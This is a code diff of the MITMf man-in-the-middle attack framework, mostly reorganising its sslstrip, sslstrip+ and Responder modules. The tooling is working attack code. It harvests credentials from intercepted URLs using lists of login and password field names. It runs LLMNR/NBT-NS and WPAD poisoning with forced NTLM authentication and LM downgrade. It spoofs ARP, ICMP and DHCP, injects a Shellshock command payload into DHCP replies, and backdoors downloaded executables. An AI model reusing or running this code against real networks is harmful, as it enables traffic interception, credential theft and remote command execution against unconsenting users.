diff --git a/libs/responder/Fingerprint.py b/libs/responder/Fingerprint.py index 29a7837..ba37d1b 100644 --- a/libs/responder/Fingerprint.py +++ b/libs/responder/Fingerprint.py @@ -17,7 +17,7 @@ # along with this program. If not, see . import re,sys,socket,struct,string from socket import * -from odict import OrderedDict +from libs.responder.odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/responder/FingerprintRelay.py b/libs/responder/FingerprintRelay.py index f9ec48f..7e41143 100644 --- a/libs/responder/FingerprintRelay.py +++ b/libs/responder/FingerprintRelay.py @@ -17,7 +17,7 @@ # along with this program. If not, see . import re,socket,struct from socket import * -from odict import OrderedDict +from libs.responder.odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/responder/HTTPPackets.py b/libs/responder/HTTPPackets.py index 17b6a57..a937c9b 100644 --- a/libs/responder/HTTPPackets.py +++ b/libs/responder/HTTPPackets.py @@ -16,7 +16,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from odict import OrderedDict +from libs.responder.odict import OrderedDict from base64 import b64decode,b64encode class Packet(): diff --git a/libs/responder/HTTPProxy.py b/libs/responder/HTTPProxy.py index 2563841..232a3d7 100644 --- a/libs/responder/HTTPProxy.py +++ b/libs/responder/HTTPProxy.py @@ -16,7 +16,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from odict import OrderedDict +from libs.responder.odict import OrderedDict from base64 import b64decode,b64encode class Packet(): diff --git a/libs/responder/IMAPPackets.py b/libs/responder/IMAPPackets.py index 51f13e8..f9076fa 100644 --- a/libs/responder/IMAPPackets.py +++ b/libs/responder/IMAPPackets.py @@ -16,7 +16,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from odict import OrderedDict +from libs.responder.odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/responder/Icmp-Redirect.py b/libs/responder/Icmp-Redirect.py index 98e1355..b0e1c4f 100644 --- a/libs/responder/Icmp-Redirect.py +++ b/libs/responder/Icmp-Redirect.py @@ -17,7 +17,7 @@ # along with this program. If not, see . import sys,socket,struct,optparse,random,pipes from socket import * -from odict import OrderedDict +from libs.responder.odict import OrderedDict from random import randrange from time import sleep from subprocess import call diff --git a/libs/responder/LDAPPackets.py b/libs/responder/LDAPPackets.py index 7de4409..429ca4a 100644 --- a/libs/responder/LDAPPackets.py +++ b/libs/responder/LDAPPackets.py @@ -17,7 +17,7 @@ # along with this program. If not, see . import struct -from odict import OrderedDict +from libs.responder.odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/responder/RAPLANMANPackets.py b/libs/responder/RAPLANMANPackets.py index c0fb385..e44056e 100644 --- a/libs/responder/RAPLANMANPackets.py +++ b/libs/responder/RAPLANMANPackets.py @@ -1,5 +1,5 @@ import struct -from odict import OrderedDict +from libs.responder.odict import OrderedDict def longueur(payload): length = struct.pack(">i", len(''.join(payload))) diff --git a/libs/responder/RelayPackets.py b/libs/responder/RelayPackets.py index 08071fa..72e8abb 100644 --- a/libs/responder/RelayPackets.py +++ b/libs/responder/RelayPackets.py @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from odict import OrderedDict +from libs.responder.odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/responder/Responder.py b/libs/responder/Responder.py index e5e8f4e..b1b9ddb 100755 --- a/libs/responder/Responder.py +++ b/libs/responder/Responder.py @@ -1972,8 +1972,8 @@ class SSlSock(ThreadingMixIn, TCPServer): def __init__(self, server_address, RequestHandlerClass): BaseServer.__init__(self, server_address, RequestHandlerClass) ctx = SSL.Context(SSL.SSLv3_METHOD) - cert = config.get('HTTPS Server', 'cert')) - key = config.get('HTTPS Server', 'key')) + cert = config.get('HTTPS Server', 'cert') + key = config.get('HTTPS Server', 'key') ctx.use_privatekey_file(key) ctx.use_certificate_file(cert) self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type)) @@ -2328,7 +2328,7 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer): def server_bind(self): if OsInterfaceIsSupported(INTERFACE): try: - self.socket.setsockopt(socket.SOL_SOCKET, 25, BIND_TO_Interface+'\0') + self.socket.setsockopt(socket.SOL_SOCKET, 25, BIND_TO_Interface) except: pass UDPServer.server_bind(self) @@ -2386,8 +2386,9 @@ def serve_thread_udp(host, port, handler): else: server = ThreadingUDPServer((host, port), handler) server.serve_forever() - except: - print "Error starting UDP server on port " + str(port) + ". Check that you have the necessary permissions (i.e. root), no other servers are running and the correct network interface is set in Responder.conf." + except Exception, e: + print "[-] Error starting TCP server on port " + str(port) + ": " + str(e) + print "Check that you have the necessary permissions (i.e. root), no other servers are running and the correct network interface is set in Responder.conf." def serve_thread_udp_MDNS(host, port, handler): try: @@ -2440,13 +2441,15 @@ def start_responder(options, ipaddr): global Basic; Basic = options.Basic global Finger_On_Off; Finger_On_Off = options.Finger global INTERFACE; INTERFACE = options.interface - global BIND_TO_Interface; BIND_TO_Interface = options.interface + global BIND_TO_Interface; BIND_TO_Interface = options.interface global Verbose; Verbose = options.Verbose global Force_WPAD_Auth; Force_WPAD_Auth = options.Force_WPAD_Auth global AnalyzeMode; AnalyzeMode = options.Analyse + global ResponderPATH; ResponderPATH = "./logs/" #Read the responder.conf file - global config; config = ConfigParser.ConfigParser() + global config + config = ConfigParser.ConfigParser() config.read('./config/responder.conf') On_Off = config.get('Responder Core', 'HTTP').upper() @@ -2495,13 +2498,18 @@ def start_responder(options, ipaddr): #StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine) #logging.warning(StartMessage) - #Log2Filename = str("./logs/LLMNR-NBT-NS.log")) - #logger2 = logging.getLogger('LLMNR/NBT-NS') - #logger2.addHandler(logging.FileHandler(Log2Filename,'w')) + + global Log2Filename + Log2Filename = str("./logs/LLMNR-NBT-NS.log") + global logger2 + logger2 = logging.getLogger('LLMNR/NBT-NS') + logger2.addHandler(logging.FileHandler(Log2Filename,'w')) - #AnalyzeFilename = str("./logs/Analyze-LLMNR-NBT-NS.log")) - #logger3 = logging.getLogger('Analyze LLMNR/NBT-NS') - #logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a')) + global AnalyzeFilename + AnalyzeFilename = str("./logs/Analyze-LLMNR-NBT-NS.log") + global logger3 + logger3 = logging.getLogger('Analyze LLMNR/NBT-NS') + logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a')) AnalyzeICMPRedirect() @@ -2530,7 +2538,7 @@ def start_responder(options, ipaddr): start_message += "Always Serving a Specific File via HTTP&WPAD: %s\n" % Exec_Mode_On_Off print banner - #print start_message + print start_message if AnalyzeMode: @@ -2556,7 +2564,8 @@ def start_responder(options, ipaddr): thread.start_new(serve_thread_udp,('', 88, KerbUDP)) thread.start_new(serve_thread_udp,('', 137,NB)) #NBNS thread.start_new(serve_thread_udp_LLMNR,('', 5355, LLMNR)) #LLMNR + while num_thrd > 0: - time.sleep(1) + time.sleep(0.1) except KeyboardInterrupt: exit() diff --git a/libs/responder/SMBPackets.py b/libs/responder/SMBPackets.py index a1d3fcb..c7020eb 100644 --- a/libs/responder/SMBPackets.py +++ b/libs/responder/SMBPackets.py @@ -16,7 +16,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from odict import OrderedDict +from libs.responder.odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/responder/SMTPPackets.py b/libs/responder/SMTPPackets.py index 65e252c..920c86f 100644 --- a/libs/responder/SMTPPackets.py +++ b/libs/responder/SMTPPackets.py @@ -16,7 +16,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from odict import OrderedDict +from libs.responder.odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/responder/SQLPackets.py b/libs/responder/SQLPackets.py index 7219392..d90286e 100644 --- a/libs/responder/SQLPackets.py +++ b/libs/responder/SQLPackets.py @@ -16,7 +16,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from odict import OrderedDict +from libs.responder.odict import OrderedDict class Packet(): fields = OrderedDict([ diff --git a/libs/sslstrip/ProxyPlugins.py b/libs/sergioproxy/ProxyPlugins.py similarity index 100% rename from libs/sslstrip/ProxyPlugins.py rename to libs/sergioproxy/ProxyPlugins.py diff --git a/libs/sslstrip/README.sergio-proxy b/libs/sergioproxy/README.sergio-proxy similarity index 100% rename from libs/sslstrip/README.sergio-proxy rename to libs/sergioproxy/README.sergio-proxy diff --git a/libs/sergioproxy/__init__.py b/libs/sergioproxy/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/sslstrip/ClientRequest.py b/libs/sslstrip/ClientRequest.py index 83d8b96..b3af538 100644 --- a/libs/sslstrip/ClientRequest.py +++ b/libs/sslstrip/ClientRequest.py @@ -33,7 +33,7 @@ from SSLServerConnection import SSLServerConnection from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -from ProxyPlugins import ProxyPlugins +from libs.sergioproxy.ProxyPlugins import ProxyPlugins class ClientRequest(Request): diff --git a/libs/sslstrip/ServerConnection.py b/libs/sslstrip/ServerConnection.py index dad4450..5865206 100644 --- a/libs/sslstrip/ServerConnection.py +++ b/libs/sslstrip/ServerConnection.py @@ -20,9 +20,9 @@ import logging, re, string, random, zlib, gzip, StringIO, sys import plugins from twisted.web.http import HTTPClient -from ResponseTampererFactory import ResponseTampererFactory +from libs.sslstripkoto.ResponseTampererFactory import ResponseTampererFactory from URLMonitor import URLMonitor -from ProxyPlugins import ProxyPlugins +from libs.sergioproxy.ProxyPlugins import ProxyPlugins class ServerConnection(HTTPClient): diff --git a/libs/AppCachePoisonClass.py b/libs/sslstripkoto/AppCachePoisonClass.py similarity index 98% rename from libs/AppCachePoisonClass.py rename to libs/sslstripkoto/AppCachePoisonClass.py index 46f4c64..53465b4 100644 --- a/libs/AppCachePoisonClass.py +++ b/libs/sslstripkoto/AppCachePoisonClass.py @@ -1,6 +1,6 @@ import logging, re, os.path, time from datetime import date -from libs.sslstrip.DummyResponseTamperer import DummyResponseTamperer +from libs.sslstripkoto.DummyResponseTamperer import DummyResponseTamperer class AppCachePoisonClass(DummyResponseTamperer): diff --git a/libs/sslstrip/DummyResponseTamperer.py b/libs/sslstripkoto/DummyResponseTamperer.py similarity index 96% rename from libs/sslstrip/DummyResponseTamperer.py rename to libs/sslstripkoto/DummyResponseTamperer.py index 7ca2600..7526861 100644 --- a/libs/sslstrip/DummyResponseTamperer.py +++ b/libs/sslstripkoto/DummyResponseTamperer.py @@ -17,7 +17,7 @@ # import logging -from sslstrip.URLMonitor import URLMonitor +from libs.sslstrip.URLMonitor import URLMonitor class DummyResponseTamperer: diff --git a/libs/sslstrip/README.AppCachePoison b/libs/sslstripkoto/README.AppCachePoison similarity index 100% rename from libs/sslstrip/README.AppCachePoison rename to libs/sslstripkoto/README.AppCachePoison diff --git a/libs/sslstrip/ResponseTampererFactory.py b/libs/sslstripkoto/ResponseTampererFactory.py similarity index 100% rename from libs/sslstrip/ResponseTampererFactory.py rename to libs/sslstripkoto/ResponseTampererFactory.py diff --git a/libs/sslstripkoto/__init__.py b/libs/sslstripkoto/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/sslstrip/ClientRequestHSTS.py b/libs/sslstripplus/ClientRequest.py similarity index 97% rename from libs/sslstrip/ClientRequestHSTS.py rename to libs/sslstripplus/ClientRequest.py index 8ebe49f..f3628b5 100644 --- a/libs/sslstrip/ClientRequestHSTS.py +++ b/libs/sslstripplus/ClientRequest.py @@ -28,12 +28,12 @@ from twisted.internet import reactor from twisted.internet.protocol import ClientFactory from ServerConnectionFactory import ServerConnectionFactory -from ServerConnectionHSTS import ServerConnection -from SSLServerConnectionHSTS import SSLServerConnection -from URLMonitorHSTS import URLMonitor +from ServerConnection import ServerConnection +from SSLServerConnection import SSLServerConnection +from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -from ProxyPlugins import ProxyPlugins +from libs.sergioproxy.ProxyPlugins import ProxyPlugins class ClientRequest(Request): diff --git a/libs/sslstrip/README.sslstrip+ b/libs/sslstripplus/README.sslstrip+ similarity index 100% rename from libs/sslstrip/README.sslstrip+ rename to libs/sslstripplus/README.sslstrip+ diff --git a/libs/sslstrip/SSLServerConnectionHSTS.py b/libs/sslstripplus/SSLServerConnection.py similarity index 98% rename from libs/sslstrip/SSLServerConnectionHSTS.py rename to libs/sslstripplus/SSLServerConnection.py index cce0a3c..b765ce4 100644 --- a/libs/sslstrip/SSLServerConnectionHSTS.py +++ b/libs/sslstripplus/SSLServerConnection.py @@ -18,7 +18,7 @@ import logging, re, string -from ServerConnectionHSTS import ServerConnection +from ServerConnection import ServerConnection class SSLServerConnection(ServerConnection): diff --git a/libs/sslstrip/ServerConnectionHSTS.py b/libs/sslstripplus/ServerConnection.py similarity index 81% rename from libs/sslstrip/ServerConnectionHSTS.py rename to libs/sslstripplus/ServerConnection.py index 6ce0478..eb55fc5 100644 --- a/libs/sslstrip/ServerConnectionHSTS.py +++ b/libs/sslstripplus/ServerConnection.py @@ -20,9 +20,9 @@ import logging, re, string, random, zlib, gzip, StringIO import plugins from twisted.web.http import HTTPClient -from ResponseTampererFactory import ResponseTampererFactory -from URLMonitorHSTS import URLMonitor -from ProxyPlugins import ProxyPlugins +from libs.ssltripkoto.ResponseTampererFactory import ResponseTampererFactory +from URLMonitor import URLMonitor +from libs.sergioproxy.ProxyPlugins import ProxyPlugins class ServerConnection(HTTPClient): @@ -54,6 +54,17 @@ class ServerConnection(HTTPClient): self.contentLength = None self.shutdownComplete = False + #these field names were stolen from the etter.fields file (Ettercap Project) + self.http_userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name', + 'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname', + 'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename', + 'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username', + 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in'] + + self.http_passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', + 'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password' + 'passwort', 'passwrd', 'wppassword', 'upasswd'] + def getLogLevel(self): return logging.DEBUG @@ -63,6 +74,18 @@ class ServerConnection(HTTPClient): def sendRequest(self): if self.command == 'GET': logging.info("%s Sending Request: %s" % (self.client.getClientIP(), self.headers['host'])) + + #check for creds passed in GET requests.. It's surprising to see how many people still do this (please stahp) + for user in self.http_userfields: + username = re.findall("("+ user +")=([^&|;]*)", self.uri, re.IGNORECASE) + + for passw in self.http_passfields: + password = re.findall("(" + passw + ")=([^&|;]*)", self.uri, re.IGNORECASE) + + if (username and password): + message = "%s %s Possible Credentials (%s):\n%s" % (self.client.getClientIP(), self.command, self.headers['host'], self.uri) + logging.warning(message) + self.plugins.hook() self.sendCommand(self.command, self.uri) diff --git a/libs/sslstrip/StrippingProxyHSTS.py b/libs/sslstripplus/StrippingProxy.py similarity index 96% rename from libs/sslstrip/StrippingProxyHSTS.py rename to libs/sslstripplus/StrippingProxy.py index ae5cbbb..f4c1e89 100644 --- a/libs/sslstrip/StrippingProxyHSTS.py +++ b/libs/sslstripplus/StrippingProxy.py @@ -17,7 +17,7 @@ # from twisted.web.http import HTTPChannel -from ClientRequestHSTS import ClientRequest +from ClientRequest import ClientRequest class StrippingProxy(HTTPChannel): '''sslstrip is, at heart, a transparent proxy server that does some unusual things. diff --git a/libs/sslstrip/URLMonitorHSTS.py b/libs/sslstripplus/URLMonitor.py similarity index 100% rename from libs/sslstrip/URLMonitorHSTS.py rename to libs/sslstripplus/URLMonitor.py diff --git a/libs/sslstripplus/__init__.py b/libs/sslstripplus/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/mitmf.py b/mitmf.py index 91fb9be..4c55ff5 100755 --- a/mitmf.py +++ b/mitmf.py @@ -4,12 +4,11 @@ from twisted.web import http from twisted.internet import reactor from libs.sslstrip.CookieCleaner import CookieCleaner -from libs.sslstrip.ProxyPlugins import ProxyPlugins +from libs.sergioproxy.ProxyPlugins import ProxyPlugins import sys, logging, traceback, string, os import argparse - from plugins import * plugin_classes = plugin.Plugin.__subclasses__() @@ -22,13 +21,14 @@ if __name__ == "__main__": parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') #add sslstrip options sgroup = parser.add_argument_group("sslstrip", "Options for sslstrip library") - sgroup.add_argument("-w", "--write", type=argparse.FileType('w'), metavar="filename", default=sys.stdout, help="Specify file to log to (stdout by default).") + #sgroup.add_argument("-w", "--write", type=argparse.FileType('w'), metavar="filename", default=sys.stdout, help="Specify file to log to (stdout by default).") sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") slogopts = sgroup.add_mutually_exclusive_group() slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)") slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.") slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.") #slogopts.add_argument("-c", "--clients", action='store_true', default=False, help='Log each clients data in a seperate file') #not fully tested yet + sgroup.add_argument("-i", "--interface", type=str, required=True, metavar="interface" ,help="Interface to listen on") sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)") sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") @@ -62,7 +62,13 @@ if __name__ == "__main__": log_level = logging.__dict__[args.log_level.upper()] #Start logging - logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S", stream=args.write) + logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + rootLogger = logging.getLogger() + + fileHandler = logging.FileHandler("./logs/mitmf.log") + fileHandler.setFormatter(logFormatter) + rootLogger.addHandler(fileHandler) #All our options should be loaded now, pass them onto plugins print "[*] MITMf v%s started... initializing plugins and modules" % mitmf_version @@ -80,8 +86,8 @@ if __name__ == "__main__": ProxyPlugins.getInstance().setPlugins(load) elif args.hsts: - from libs.sslstrip.StrippingProxyHSTS import StrippingProxy - from libs.sslstrip.URLMonitorHSTS import URLMonitor + from libs.sslstripplus.StrippingProxy import StrippingProxy + from libs.sslstripplus.URLMonitor import URLMonitor URLMonitor.getInstance().setFaviconSpoofing(args.favicon) CookieCleaner.getInstance().setEnabled(args.killsessions) diff --git a/plugins/AirPwn.py b/plugins/AirPwn.py index 90deed6..0052da3 100644 --- a/plugins/AirPwn.py +++ b/plugins/AirPwn.py @@ -21,7 +21,7 @@ class AirPwn(Plugin): def initialize(self, options): self.options = options - self.mon_interface = options.mon_interface + self.mon_interface = options.interface self.aircfg = options.aircfg self.dnspwn = options.dnspwn @@ -134,5 +134,4 @@ class AirPwn(Plugin): logging.info("%s >> Spoofed DNS for %s" % (response.src, req_domain)) def add_options(self, options): - options.add_argument('--miface', type=str, dest='mon_interface', help='Interface in monitor mode to use') options.add_argument('--dnspwn', type=str, dest='dnspwn', help='Enables the DNSpwn attack and specifies ip') diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index 1fe0325..a81313d 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -1,5 +1,5 @@ from plugins.plugin import Plugin -from libs.sslstrip.ResponseTampererFactory import ResponseTampererFactory +from libs.sslstripkoto.ResponseTampererFactory import ResponseTampererFactory #import threading diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 323253b..c682d2d 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -24,7 +24,7 @@ class FilePwn(Plugin): name = "FilePwn" optname = "filepwn" implements = ["handleResponse"] - has_opts = True + has_opts = False desc = "Backdoor executables being sent over http using bdfactory" def convert_to_Bool(self, aString): @@ -38,7 +38,6 @@ class FilePwn(Plugin): def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - self.filepwncfg = options.filepwncfg or "./config/filepwn.cfg" self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] @@ -48,7 +47,7 @@ class FilePwn(Plugin): #NOT USED NOW #self.supportedBins = ('MZ', '7f454c46'.decode('hex')) - self.userConfig = ConfigObj(self.filepwncfg) + self.userConfig = ConfigObj("./config/filepwn.cfg") self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64'] @@ -290,6 +289,3 @@ class FilePwn(Plugin): else: logging.debug("%s File is not of supported Content-Type: %s" % (request.client.getClientIP(), content_header)) return {'request': request, 'data': data} - - def add_options(self, options): - options.add_argument("--filepwncfg", type=file, help="Specify a config file [default: filepwn.cfg]") diff --git a/plugins/Responder.py b/plugins/Responder.py new file mode 100644 index 0000000..4a05376 --- /dev/null +++ b/plugins/Responder.py @@ -0,0 +1,41 @@ +from plugins.plugin import Plugin +import logging +import sys +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import * +from libs.responder.Responder import * + +class Responder(Plugin): + name = "Responder" + optname = "responder" + desc = "" + has_opts = True + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.interface = options.interface + self.ip_address = None + + if os.geteuid() != 0: + sys.exit("[-] Responder plugin requires root privileges") + + try: + self.ip_address = get_if_addr(options.interface) + if self.ip_address == "0.0.0.0": + sys.exit("[-] Interface %s does not have an IP address" % self.interface) + except Exception, e: + sys.exit("[-] Error retrieving interface IP address: %s" % e) + + start_responder(options, self.ip_address) + + def add_options(self, options): + options.add_argument('--analyze', dest="Analyse", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") + options.add_argument('--basic', dest="Basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") + options.add_argument('--wredir', dest="Wredirect", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False") + options.add_argument('--nbtns', dest="NBTNSDomain", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False") + options.add_argument('--fingerprint', dest="Finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query") + options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") + options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") + options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") + options.add_argument('--verbose', dest="Verbose", action="store_true", help="More verbose") \ No newline at end of file diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 2deaa1f..ae9b6c7 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -13,7 +13,6 @@ import nfqueue import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import * -from libs.responder.Responder import * import os import sys import threading @@ -43,7 +42,6 @@ class Spoof(Plugin): self.dns = options.dns self.dhcp = options.dhcp self.shellshock = options.shellshock - self.cmd = options.cmd self.gateway = options.gateway #self.summary = options.summary self.target = options.target @@ -53,22 +51,9 @@ class Spoof(Plugin): self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de self.debug = False self.send = True - thread_target = None - thread_args = None if os.geteuid() != 0: sys.exit("[-] Spoof plugin requires root privileges") - - if not self.interface: - sys.exit('[-] Spoof plugin requires --iface argument') - - try: - self.ip_address = get_if_addr(options.interface) - if self.ip_address == "0.0.0.0": - sys.exit("[-] Interface %s does not have an IP address" % self.interface) - except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) - if self.options.log_level == 'debug': self.debug = True @@ -89,6 +74,7 @@ class Spoof(Plugin): pkt = self.build_arp_req() elif self.arpmode == 'rep': pkt = self.build_arp_rep() + thread_target = self.send_packets thread_args = (pkt, self.interface, self.debug,) @@ -100,6 +86,7 @@ class Spoof(Plugin): print "[*] ICMP Redirection enabled" pkt = self.build_icmp() + thread_target = self.send_packets thread_args = (pkt, self.interface, self.debug,) @@ -111,11 +98,12 @@ class Spoof(Plugin): self.rand_number = [] self.dhcp_dic = {} self.dhcpcfg = ConfigObj("./config/dhcp.cfg") + thread_target = self.dhcp_sniff thread_args = () - elif not options.WPAD_On_Off: - sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --wpad") + else: + sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp") print "[*] Spoof plugin online" if not self.manualiptables: @@ -142,17 +130,11 @@ class Spoof(Plugin): os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port) #CHarvester = CredHarvester() - threads = [] - if thread_target: - threads.append(threading.Thread(name='spoof_thread', target=thread_target, args=thread_args)) - #t2 = threading.Thread(name='cred_harvester', target=CHarvester.start, args=(self.interface)) + t = threading.Thread(name='spoof_thread', target=thread_target, args=thread_args) + #t2 = threading.Thread(name='cred_harvester', target=CHarvester.start, args=(self.interface)) - threads.append(threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address))) - - if threads: - for t in threads: - t.setDaemon(True) - t.start() + t.setDaemon(True) + t.start() def dhcp_rand_ip(self): pool = self.dhcpcfg['ip_pool'].split('-') @@ -224,7 +206,7 @@ class Spoof(Plugin): if self.shellshock: logging.info("Sending DHCP ACK with shellshock payload") - packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.cmd))) + packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) packet[DHCP].options.append("end") else: logging.info("Sending DHCP ACK") @@ -356,24 +338,12 @@ class Spoof(Plugin): group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries') - options.add_argument('--shellshock', dest='shellshock', action='store_true', default=False, help='Trigger the Shellshock vuln when spoofing DHCP') - options.add_argument('--cmd', type=str, dest='cmd', default="echo 'pwned'", help='Command to run on vulnerable clients [default: echo pwned]') - options.add_argument('--iface', dest='interface', help='Specify the interface to use') + options.add_argument('--shellshock', type=str, dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]') options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]') - #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') - #rgroup = options.add_argument_group("Responder", "Options for Responder") - options.add_argument('--analyze', dest="Analyse", action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning anything") - options.add_argument('--basic', dest="Basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") - options.add_argument('--wredir', dest="Wredirect", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False") - options.add_argument('--nbtns', dest="NBTNSDomain", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False") - options.add_argument('--fingerprint', dest="Finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query") - options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") - options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") - options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") - options.add_argument('--verbose', dest="Verbose", action="store_true", help="More verbose") + #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') def finish(self): self.send = False